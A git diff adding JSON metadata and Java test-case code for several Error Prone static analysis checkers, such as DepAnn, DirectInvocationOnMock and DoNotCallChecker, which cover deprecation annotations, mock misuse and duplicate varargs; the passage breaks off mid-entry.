Tool/Error-prone/Rule Information/checkers/DepAnn.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DepAnn.json new file mode 100644 index 0000000..fb1d972 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DepAnn.json @@ -0,0 +1,46 @@ +{ + "name": "DepAnn", + "language": "java", + "description": "Item documented with a @deprecated javadoc note is not annotated with @Deprecated", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 6, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @deprecated\n */\n // BUG: Diagnostic contains: @Deprecated\n public class DepAnnPositiveCases {\n\n /**\n * @deprecated\n */\n // BUG: Diagnostic contains: @Deprecated\n public DepAnnPositiveCases() {}\n\n /**\n * @deprecated\n */\n // BUG: Diagnostic contains: @Deprecated\n int myField;\n\n /**\n * @deprecated\n */\n // BUG: Diagnostic contains: @Deprecated\n enum Enum {\n VALUE,\n }\n\n /**\n * @deprecated\n */\n // BUG: Diagnostic contains: @Deprecated\n interface Interface {}\n\n /**\n * @deprecated\n */\n // BUG: Diagnostic contains: @Deprecated\n public void deprecatedMethood() {}\n }\\" + }, + { + "description": "negativeCase1", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @deprecated\n */\n @Deprecated\n public class DepAnnNegativeCase1 {\n\n /**\n * @deprecated\n */\n @Deprecated\n public DepAnnNegativeCase1() {}\n\n /**\n * @deprecated\n */\n @Deprecated int myField;\n\n /**\n * @deprecated\n */\n @Deprecated\n enum Enum {\n VALUE,\n }\n\n /**\n * @deprecated\n */\n @Deprecated\n interface Interface {}\n\n /**\n * @deprecated\n */\n @Deprecated\n public void deprecatedMethood() {}\n\n @Deprecated\n public void deprecatedMethoodWithoutComment() {}\n\n /** deprecated */\n public void deprecatedMethodWithMalformedComment() {}\n\n /**\n * @deprecated\n */\n @SuppressWarnings(\"dep-ann\")\n public void suppressed() {}\n\n public void newMethod() {}\n }\\" + }, + { + "description": "negativeCase2", + "expected-problems": null, + "expected-linenumbers": [ + 148 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @deprecated\n */\n @Deprecated\n public class DepAnnNegativeCase2 {\n\n abstract class Builder2

{\n class SummaryRowKey

{}\n\n @Deprecated\n /**\n * @deprecated use {@link Selector.Builder#withSummary()}\n */\n public abstract void withSummaryRowKeys(int summaryRowKeys);\n\n /**\n * @deprecated use {@link Selector.Builder#withSummary()}\n */\n @Deprecated\n public abstract void m1();\n\n public abstract void m2();\n }\n }\\" + }, + { + "description": "disableable", + "expected-problems": null, + "expected-linenumbers": [ + 185 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @deprecated\n */\n // BUG: Diagnostic contains: @Deprecated\n public class DepAnnPositiveCases {\n\n /**\n * @deprecated\n */\n // BUG: Diagnostic contains: @Deprecated\n public DepAnnPositiveCases() {}\n\n /**\n * @deprecated\n */\n // BUG: Diagnostic contains: @Deprecated\n int myField;\n\n /**\n * @deprecated\n */\n // BUG: Diagnostic contains: @Deprecated\n enum Enum {\n VALUE,\n }\n\n /**\n * @deprecated\n */\n // BUG: Diagnostic contains: @Deprecated\n interface Interface {}\n\n /**\n * @deprecated\n */\n // BUG: Diagnostic contains: @Deprecated\n public void deprecatedMethood() {}\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeprecatedVariable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeprecatedVariable.json new file mode 100644 index 0000000..111b454 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeprecatedVariable.json @@ -0,0 +1,30 @@ +{ + "name": "DeprecatedVariable", + "language": "java", + "description": "Applying the @Deprecated annotation to local variables or parameters has no effect", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "refactor", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "class Test {\n @Deprecated int x;\n\n void f(@Deprecated int x) {\n @Deprecated int y;\n }\n }\n \n\n class Test {\n @Deprecated int x;\n\n void f(int x) {\n int y;\n }\n }" + }, + { + "description": "refactorBindingVariables", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "class Test {\n void f() {\n if (toString() instanceof @Deprecated String s) {}\n }\n }\n \n\n class Test {\n void f() {\n if (toString() instanceof String s) {}\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DifferentNameButSame.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DifferentNameButSame.json new file mode 100644 index 0000000..92a5ddc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DifferentNameButSame.json @@ -0,0 +1,118 @@ +{ + "name": "DifferentNameButSame", + "language": "java", + "description": "This type is referred to in different ways within this file, which may be confusing.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 259, + "branches": 29, + "apis": 4, + "test": [ + { + "description": "classReferredToInTwoWays_usesShorterName", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "package pkg;\n\n import pkg.A.B;\n\n interface Test {\n A.B test();\n\n B test2();\n }\n \n\n package pkg;\n\n import pkg.A.B;\n\n interface Test {\n B test();\n\n B test2();\n }" + }, + { + "description": "fullyQualifiedType_notMentioned", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "package pkg;\n\n interface Test {\n A.B test();\n\n pkg.A.B test2();\n }" + }, + { + "description": "positive2", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "package pkg;\n\n import pkg.A.B;\n\n class Test {\n B test() {\n return new A.B();\n }\n }\n \n\n package pkg;\n\n import pkg.A.B;\n\n class Test {\n B test() {\n return new B();\n }\n }" + }, + { + "description": "classReferredToInMultipleWaysWithinMemberSelect", + "expected-problems": null, + "expected-linenumbers": [ + 148 + ], + "code": "package pkg;\n\n import pkg.A.B;\n\n class Test {\n B.C test() {\n A.B.C.foo();\n return null;\n }\n }\n \n\n package pkg;\n\n import pkg.A.B;\n\n class Test {\n B.C test() {\n B.C.foo();\n return null;\n }\n }" + }, + { + "description": "typeUseAnnotations_correctlyRefactored", + "expected-problems": null, + "expected-linenumbers": [ + 182 + ], + "code": "package pkg;\n\n import pkg.A.B;\n\n interface Test {\n A.@TypeUseAnnotation B test();\n\n B test2();\n }\n \n\n package pkg;\n\n import pkg.A.B;\n\n interface Test {\n @TypeUseAnnotation\n B test();\n\n B test2();\n }" + }, + { + "description": "typeUseAnnotation_leftInCorrectPosition", + "expected-problems": null, + "expected-linenumbers": [ + 215 + ], + "code": "package pkg;\n\n import pkg.A.B;\n\n interface Test {\n @TypeUseAnnotation\n B test();\n\n A.B test2();\n }\n \n\n package pkg;\n\n import pkg.A.B;\n\n interface Test {\n @TypeUseAnnotation\n B test();\n\n B test2();\n }" + }, + { + "description": "nameShadowed_noChange", + "expected-problems": null, + "expected-linenumbers": [ + 249 + ], + "code": "package pkg;\n\n interface Test {\n interface B {\n B get();\n }\n\n Test.B get();\n }" + }, + { + "description": "doesNotRefactorOutsideOuterClass", + "expected-problems": null, + "expected-linenumbers": [ + 269 + ], + "code": "package pkg;\n\n @ClassAnnotation(A.B.C.class)\n class D extends A.B {\n private C c;\n private C c2;\n }\n \n\n package pkg;\n\n @ClassAnnotation(A.B.C.class)\n class D extends A.B {\n private A.B.C c;\n private A.B.C c2;\n }" + }, + { + "description": "genericsNotRefactored", + "expected-problems": null, + "expected-linenumbers": [ + 297 + ], + "code": "package pkg;\n\n interface Test {\n interface A {\n interface D {}\n }\n\n class B implements A {}\n\n class C implements A {}\n\n B.D b();\n\n C.D c();\n }" + }, + { + "description": "typesDefinedWithinSameFileIgnored", + "expected-problems": null, + "expected-linenumbers": [ + 323 + ], + "code": "package pkg;\n\n interface Test {\n interface Foo {\n Foo foo();\n }\n\n Test.Foo foo();\n }" + }, + { + "description": "typesWhichMakePoorImports_disfavoured", + "expected-problems": null, + "expected-linenumbers": [ + 343 + ], + "code": "package pkg;\n\n interface Foo {\n interface Builder {}\n }\n \n\n package pkg;\n\n import pkg.Foo.Builder;\n\n interface Test {\n Foo.Builder a();\n\n Builder b();\n }\n \n\n package pkg;\n\n import pkg.Foo.Builder;\n\n interface Test {\n Foo.Builder a();\n\n Foo.Builder b();\n }" + }, + { + "description": "classClashesWithVariableName", + "expected-problems": null, + "expected-linenumbers": [ + 385 + ], + "code": "package pkg;\n\n import pkg.A.B;\n\n class Test {\n A.B test(Object B) {\n return new A.B();\n }\n\n B test2() {\n return null;\n }\n }\n \n\n package pkg;\n\n import pkg.A.B;\n\n class Test {\n A.B test(Object B) {\n return new A.B();\n }\n\n A.B test2() {\n return null;\n }\n }" + }, + { + "description": "innerClassConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 425 + ], + "code": "package pkg;\n\n class A {\n class B {}\n }\n \n\n package pkg;\n\n class Test {\n static void f(A a) {\n A.B b = a.new B();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DirectInvocationOnMock.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DirectInvocationOnMock.json new file mode 100644 index 0000000..17a3cf3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DirectInvocationOnMock.json @@ -0,0 +1,150 @@ +{ + "name": "DirectInvocationOnMock", + "language": "java", + "description": "Methods should not be directly invoked on mocks. Should this be part of a verify(..) call?", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 192, + "branches": 13, + "apis": 1, + "test": [ + { + "description": "directInvocationOnMock", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "import static org.mockito.Mockito.mock;\n\n class Test {\n public void test() {\n Test test = mock(Test.class);\n // BUG: Diagnostic contains: test\n test.test();\n }\n }" + }, + { + "description": "directInvocationOnMockAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "import static org.mockito.Mockito.mock;\n\n class Test {\n public void test() {\n Test test;\n test = mock(Test.class);\n // BUG: Diagnostic contains:\n test.test();\n }\n }" + }, + { + "description": "directInvocationOnMock_suggestsVerify", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.verify;\n\n class Test {\n public void test() {\n Test test = mock(Test.class);\n test.test();\n }\n }\n \n\n import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.verify;\n\n class Test {\n public void test() {\n Test test = mock(Test.class);\n verify(test).test();\n }\n }" + }, + { + "description": "directInvocationOnMock_mockHasExtraOptions_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "import static org.mockito.Mockito.mock;\n import org.mockito.Answers;\n\n class Test {\n public void test() {\n Test test = mock(Test.class, Answers.RETURNS_DEEP_STUBS);\n test.test();\n }\n }" + }, + { + "description": "directInvocationOnMockAnnotatedField", + "expected-problems": null, + "expected-linenumbers": [ + 126 + ], + "code": "import org.mockito.Mock;\n\n class Test {\n @Mock public Test test;\n\n public void test() {\n // BUG: Diagnostic contains:\n test.test();\n }\n }" + }, + { + "description": "directInvocationOnMockAnnotatedField_mockHasExtraOptions_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "import org.mockito.Answers;\n import org.mockito.Mock;\n\n class Test {\n @Mock(answer = Answers.RETURNS_DEEP_STUBS)\n public Test test;\n\n public void test() {\n test.test();\n }\n }" + }, + { + "description": "directInvocationOnMock_withinWhen_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 167 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n\n class Test {\n public Object test() {\n Test test = mock(Test.class);\n when(test.test()).thenReturn(null);\n return null;\n }\n }" + }, + { + "description": "directInvocationOnMock_withinGiven_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 187 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.BDDMockito.given;\n\n class Test {\n public Object test() {\n Test test = mock(Test.class);\n given(test.test()).willReturn(null);\n return null;\n }\n }" + }, + { + "description": "directInvocationOnMock_setUpToCallRealMethod_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 208 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n\n class Test {\n public Object test() {\n Test test = mock(Test.class);\n when(test.test()).thenCallRealMethod();\n return test.test();\n }\n }" + }, + { + "description": "directInvocationOnMock_setUpToCallRealMethodUsingGiven_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 228 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.BDDMockito.given;\n\n class Test {\n public Object test() {\n Test test = mock(Test.class);\n given(test.test()).willCallRealMethod();\n return test.test();\n }\n }" + }, + { + "description": "directInvocationOnMock_setUpWithDoCallRealMethod_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 249 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.doCallRealMethod;\n\n class Test {\n public Object test() {\n Test test = mock(Test.class);\n doCallRealMethod().when(test).test();\n return test.test();\n }\n }" + }, + { + "description": "directInvocationOnMock_setUpWithDoCallRealMethodUsingGiven_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 269 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.BDDMockito.willCallRealMethod;\n\n class Test {\n public Object test() {\n Test test = mock(Test.class);\n willCallRealMethod().given(test).test();\n return test.test();\n }\n }" + }, + { + "description": "directInvocationOnMock_withinCustomWhen_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 290 + ], + "code": "import static org.mockito.Mockito.mock;\n import org.mockito.stubbing.OngoingStubbing;\n\n class Test {\n public OngoingStubbing when(T t) {\n return org.mockito.Mockito.when(t);\n }\n\n public Object test() {\n Test test = mock(Test.class);\n when(test.test()).thenReturn(null);\n return null;\n }\n }" + }, + { + "description": "directInvocationOnMock_withinCustomGiven_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 314 + ], + "code": "import static org.mockito.Mockito.mock;\n import org.mockito.BDDMockito.BDDMyOngoingStubbing;\n\n class Test {\n public BDDMyOngoingStubbing given(T t) {\n return org.mockito.BDDMockito.given(t);\n }\n\n public Object test() {\n Test test = mock(Test.class);\n given(test.test()).willReturn(null);\n return null;\n }\n }" + }, + { + "description": "directInvocationOnMock_withinWhenWithCast_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 339 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.Mockito.when;\n\n class Test {\n public Object test() {\n Test test = mock(Test.class);\n when((Object) test.test()).thenReturn(null);\n return null;\n }\n }" + }, + { + "description": "directInvocationOnMock_withinGivenWithCast_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 359 + ], + "code": "import static org.mockito.Mockito.mock;\n import static org.mockito.BDDMockito.given;\n\n class Test {\n public Object test() {\n Test test = mock(Test.class);\n given((Object) test.test()).willReturn(null);\n return null;\n }\n }" + }, + { + "description": "finalMethodInvoked_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 380 + ], + "code": "import static org.mockito.Mockito.mock;\n\n class Test {\n public Object test() {\n Test test = mock(Test.class);\n return test.getClass();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DiscardedPostfixExpression.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DiscardedPostfixExpression.json new file mode 100644 index 0000000..51caf46 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DiscardedPostfixExpression.json @@ -0,0 +1,30 @@ +{ + "name": "DiscardedPostfixExpression", + "language": "java", + "description": "The result of this unary operation on a lambda parameter is discarded", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 28 + ], + "code": "import java.util.function.UnaryOperator;\n\n class Test {\n int x;\n UnaryOperator f = x1 -> x++;\n UnaryOperator g = x1 -> x--;\n UnaryOperator h = x -> ++x;\n UnaryOperator i = x -> --x;\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "import java.util.function.UnaryOperator;\n\n class Test {\n UnaryOperator f = x -> x++;\n UnaryOperator g = x -> x--;\n }\n \n\n import java.util.function.UnaryOperator;\n\n class Test {\n UnaryOperator f = x -> x + 1;\n UnaryOperator g = x -> x - 1;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DistinctVarargsChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DistinctVarargsChecker.json new file mode 100644 index 0000000..258732b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DistinctVarargsChecker.json @@ -0,0 +1,70 @@ +{ + "name": "DistinctVarargsChecker", + "language": "java", + "description": "Method expects distinct arguments at some/all positions", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 145, + "branches": 19, + "apis": 3, + "test": [ + { + "description": "distinctVarargsChecker_sameVariableInFuturesVaragsMethods_shouldFlag", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n\n public class Test {\n void testFunction() {\n ListenableFuture firstFuture = null, secondFuture = null;\n // BUG: Diagnostic contains: DistinctVarargsChecker\n Futures.whenAllSucceed(firstFuture, firstFuture);\n // BUG: Diagnostic contains: DistinctVarargsChecker\n Futures.whenAllSucceed(firstFuture, firstFuture, secondFuture);\n // BUG: Diagnostic contains: DistinctVarargsChecker\n Futures.whenAllComplete(firstFuture, firstFuture);\n // BUG: Diagnostic contains: DistinctVarargsChecker\n Futures.whenAllComplete(firstFuture, firstFuture, secondFuture);\n }\n }" + }, + { + "description": "distinctVarargsCheckerdifferentVariableInFuturesVaragsMethods_shouldNotFlag", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n\n public class Test {\n void testFunction() {\n ListenableFuture firstFuture = null, secondFuture = null;\n Futures.whenAllComplete(firstFuture);\n Futures.whenAllSucceed(firstFuture, secondFuture);\n Futures.whenAllComplete(firstFuture);\n Futures.whenAllComplete(firstFuture, secondFuture);\n }\n }" + }, + { + "description": "distinctVarargsChecker_sameVariableInVarargMethods_shouldFlag", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "import com.google.common.collect.Ordering;\n import com.google.common.collect.ImmutableSortedMap;\n import com.google.common.collect.ImmutableSet;\n import com.google.common.collect.ImmutableSortedSet;\n import java.util.Map;\n import java.util.Set;\n\n public class Test {\n void testFunction() {\n int first = 1, second = 2;\n // BUG: Diagnostic contains: DistinctVarargsChecker\n Ordering.explicit(first, first);\n // BUG: Diagnostic contains: DistinctVarargsChecker\n Ordering.explicit(first, first, second);\n // BUG: Diagnostic contains: DistinctVarargsChecker\n Map.of(first, second, first, second);\n // BUG: Diagnostic contains: DistinctVarargsChecker\n ImmutableSortedMap.of(first, second, first, second);\n // BUG: Diagnostic contains: DistinctVarargsChecker\n Set.of(first, first);\n // BUG: Diagnostic contains: DistinctVarargsChecker\n ImmutableSet.of(first, first);\n // BUG: Diagnostic contains: DistinctVarargsChecker\n ImmutableSet.of(first, first, second);\n // BUG: Diagnostic contains: DistinctVarargsChecker\n ImmutableSortedSet.of(first, first);\n // BUG: Diagnostic contains: DistinctVarargsChecker\n ImmutableSortedSet.of(first, first, second);\n }\n }" + }, + { + "description": "distinctVarargsChecker_differentVariableInVarargMethods_shouldNotFlag", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "import com.google.common.collect.Ordering;\n import com.google.common.collect.ImmutableBiMap;\n import com.google.common.collect.ImmutableSortedMap;\n import com.google.common.collect.ImmutableSet;\n import com.google.common.collect.ImmutableSortedSet;\n import java.util.Map;\n import java.util.Set;\n\n public class Test {\n void testFunction() {\n int first = 1, second = 2, third = 3, fourth = 4;\n Ordering.explicit(first);\n Ordering.explicit(first, second);\n Map.of(first, second);\n ImmutableSortedMap.of(first, second);\n ImmutableBiMap.of(first, second, third, fourth);\n Set.of(first, second);\n ImmutableSet.of(first);\n ImmutableSet.of(first, second);\n ImmutableSortedSet.of(first);\n ImmutableSortedSet.of(first, second);\n }\n }" + }, + { + "description": "distinctVarargsChecker_sameVariableInImmutableSetVarargsMethod_shouldRefactor", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "import com.google.common.collect.ImmutableSet;\n import com.google.common.collect.ImmutableSortedSet;\n import java.util.Set;\n\n public class Test {\n void testFunction() {\n int first = 1, second = 2;\n Set.of(first, first);\n ImmutableSet.of(first, first);\n ImmutableSet.of(first, first, second);\n ImmutableSortedSet.of(first, first);\n ImmutableSortedSet.of(first, first, second);\n }\n }\n \n\n import com.google.common.collect.ImmutableSet;\n import com.google.common.collect.ImmutableSortedSet;\n import java.util.Set;\n\n public class Test {\n void testFunction() {\n int first = 1, second = 2;\n Set.of(first);\n ImmutableSet.of(first);\n ImmutableSet.of(first, second);\n ImmutableSortedSet.of(first);\n ImmutableSortedSet.of(first, second);\n }\n }" + }, + { + "description": "distinctVarargsChecker_differentVarsInImmutableSetVarargsMethod_shouldNotRefactor", + "expected-problems": null, + "expected-linenumbers": [ + 200 + ], + "code": "import com.google.common.collect.ImmutableSet;\n import com.google.common.collect.ImmutableSortedSet;\n\n public class Test {\n void testFunction() {\n int first = 1, second = 2;\n ImmutableSet.of(first);\n ImmutableSet.of(first, second);\n ImmutableSortedSet.of(first);\n ImmutableSortedSet.of(first, second);\n }\n }\n \n\n import com.google.common.collect.ImmutableSet;\n import com.google.common.collect.ImmutableSortedSet;\n\n public class Test {\n void testFunction() {\n int first = 1, second = 2;\n ImmutableSet.of(first);\n ImmutableSet.of(first, second);\n ImmutableSortedSet.of(first);\n ImmutableSortedSet.of(first, second);\n }\n }" + }, + { + "description": "negative_quadratic", + "expected-problems": null, + "expected-linenumbers": [ + 238 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotCallChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotCallChecker.json new file mode 100644 index 0000000..8d3184c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotCallChecker.json @@ -0,0 +1,318 @@ +{ + "name": "DoNotCallChecker", + "language": "java", + "description": "This method should not be called.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 396, + "branches": 32, + "apis": 4, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 40 + ], + "code": "import com.google.errorprone.annotations.DoNotCall;\n\n class Test {\n @DoNotCall(\"satisfying explanation\")\n final void f() {}\n\n @DoNotCall\n final void g() {}\n\n void m() {\n // BUG: Diagnostic contains:\n // Test.f() should not be called: satisfying explanation\n f();\n // BUG: Diagnostic contains:\n // Test.g() should not be called, see its documentation for details.\n g();\n // BUG: Diagnostic contains:\n // Test.g() should not be called, see its documentation for details.\n Runnable r = this::g;\n }\n }" + }, + { + "description": "positiveWhereDeclaredTypeIsSuper", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "import java.util.List;\n\n class Test {\n void foo() {\n List xs = ImmutableList.of();\n // BUG: Diagnostic contains:\n xs.add(1);\n xs.get(1);\n }\n }" + }, + { + "description": "positiveWhereDeclaredTypeIsSuper_butAssignedMultipleTimes", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "import java.util.List;\n\n class Test {\n void foo() {\n List xs;\n if (hashCode() == 0) {\n xs = ImmutableList.of();\n } else {\n xs = ImmutableList.of();\n }\n // BUG: Diagnostic contains:\n xs.add(1);\n xs.get(1);\n }\n }" + }, + { + "description": "positiveWhereDeclaredTypeIsSuper_butNotAssignedOnce", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n void foo() {\n List xs;\n if (true) {\n xs = ImmutableList.of();\n } else {\n xs = new ArrayList<>();\n xs.add(2);\n }\n }\n }" + }, + { + "description": "concreteFinal", + "expected-problems": null, + "expected-linenumbers": [ + 172 + ], + "code": "import com.google.errorprone.annotations.DoNotCall;\n\n public class Test {\n @DoNotCall\n // BUG: Diagnostic contains: should be final\n public void f() {}\n\n @DoNotCall\n public final void g() {}\n }" + }, + { + "description": "requiredOverride", + "expected-problems": null, + "expected-linenumbers": [ + 192 + ], + "code": "import com.google.errorprone.annotations.DoNotCall;\n\n public interface A {\n @DoNotCall\n public void f();\n }\n \n\n public class B implements A {\n @Override\n // BUG: Diagnostic contains: overrides f in A which is annotated\n public void f() {}\n }" + }, + { + "description": "annotatedOverride", + "expected-problems": null, + "expected-linenumbers": [ + 217 + ], + "code": "import com.google.errorprone.annotations.DoNotCall;\n\n public interface A {\n @DoNotCall\n public void f();\n }\n \n\n import com.google.errorprone.annotations.DoNotCall;\n\n public class B implements A {\n @DoNotCall\n @Override\n public final void f() {}\n }" + }, + { + "description": "interfaceRedeclaresObjectMethod", + "expected-problems": null, + "expected-linenumbers": [ + 250 + ], + "code": "import com.google.errorprone.annotations.DoNotCall;\n\n public interface I {\n @DoNotCall\n public String toString();\n }\n \n\n public class B implements I {}\n \n\n public class Test {\n void f(B b) {\n b.toString();\n I i = b;\n // BUG: Diagnostic contains:\n i.toString();\n }\n }" + }, + { + "description": "finalClass", + "expected-problems": null, + "expected-linenumbers": [ + 283 + ], + "code": "import com.google.errorprone.annotations.DoNotCall;\n\n public final class Test {\n @DoNotCall\n public void f() {}\n }" + }, + { + "description": "privateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 299 + ], + "code": "import com.google.errorprone.annotations.DoNotCall;\n\n public final class Test {\n @DoNotCall\n // BUG: Diagnostic contains: private method\n private void f() {}\n }" + }, + { + "description": "noDNConClasspath", + "expected-problems": null, + "expected-linenumbers": [ + 324 + ], + "code": "class Test {\n void m() {\n // BUG: Diagnostic contains: com.google.errorprone.bugpatterns.DoNotCallCheckerTest.DNCTest.f()\n // should not be called, see its documentation for details.\n com.google.errorprone.bugpatterns.DoNotCallCheckerTest.DNCTest.f();\n }\n}" + }, + { + "description": "thirdParty", + "expected-problems": null, + "expected-linenumbers": [ + 342 + ], + "code": "" + }, + { + "description": "javaSqlDate_toInstant", + "expected-problems": null, + "expected-linenumbers": [ + 362 + ], + "code": "import java.sql.Date;\n import java.time.Instant;\n\n public class TestClass {\n public void badApis(Date date) {\n // BUG: Diagnostic contains: toLocalDate()\n Instant instant = date.toInstant();\n }\n }" + }, + { + "description": "javaSqlDate_timeGetters", + "expected-problems": null, + "expected-linenumbers": [ + 382 + ], + "code": "import java.sql.Date;\n\n public class TestClass {\n public void badApis(Date date) {\n // BUG: Diagnostic contains: DoNotCall\n int hour = date.getHours();\n // BUG: Diagnostic contains: DoNotCall\n int mins = date.getMinutes();\n // BUG: Diagnostic contains: DoNotCall\n int secs = date.getSeconds();\n }\n }" + }, + { + "description": "javaSqlDate_timeSetters", + "expected-problems": null, + "expected-linenumbers": [ + 408 + ], + "code": "import java.sql.Date;\n\n public class TestClass {\n public void badApis(Date date) {\n // BUG: Diagnostic contains: DoNotCall\n date.setHours(1);\n // BUG: Diagnostic contains: DoNotCall\n date.setMinutes(1);\n // BUG: Diagnostic contains: DoNotCall\n date.setSeconds(1);\n }\n }" + }, + { + "description": "javaSqlDate_staticallyTypedAsJavaUtilDate", + "expected-problems": null, + "expected-linenumbers": [ + 434 + ], + "code": "import java.time.Instant;\n import java.util.Date;\n\n public class TestClass {\n public void badApis() {\n Date date = new java.sql.Date(1234567890L);\n Instant instant = date.toInstant();\n int hour = date.getHours();\n int mins = date.getMinutes();\n int secs = date.getSeconds();\n date.setHours(1);\n date.setMinutes(1);\n date.setSeconds(1);\n }\n }" + }, + { + "description": "javaSqlTime_toInstant", + "expected-problems": null, + "expected-linenumbers": [ + 459 + ], + "code": "import java.sql.Time;\n import java.time.Instant;\n\n public class TestClass {\n public void badApis(Time time) {\n // BUG: Diagnostic contains: toLocalTime()\n Instant instant = time.toInstant();\n }\n }" + }, + { + "description": "javaSqlTime_dateGetters", + "expected-problems": null, + "expected-linenumbers": [ + 479 + ], + "code": "import java.sql.Time;\n\n public class TestClass {\n public void badApis(Time time) {\n // BUG: Diagnostic contains: DoNotCall\n int year = time.getYear();\n // BUG: Diagnostic contains: DoNotCall\n int month = time.getMonth();\n // BUG: Diagnostic contains: DoNotCall\n int day = time.getDay();\n // BUG: Diagnostic contains: DoNotCall\n int date = time.getDate();\n }\n }" + }, + { + "description": "javaSqlTime_dateSetters", + "expected-problems": null, + "expected-linenumbers": [ + 508 + ], + "code": "import java.sql.Time;\n\n public class TestClass {\n public void badApis(Time time) {\n // BUG: Diagnostic contains: DoNotCall\n time.setYear(1);\n // BUG: Diagnostic contains: DoNotCall\n time.setMonth(1);\n // BUG: Diagnostic contains: DoNotCall\n time.setDate(1);\n }\n }" + }, + { + "description": 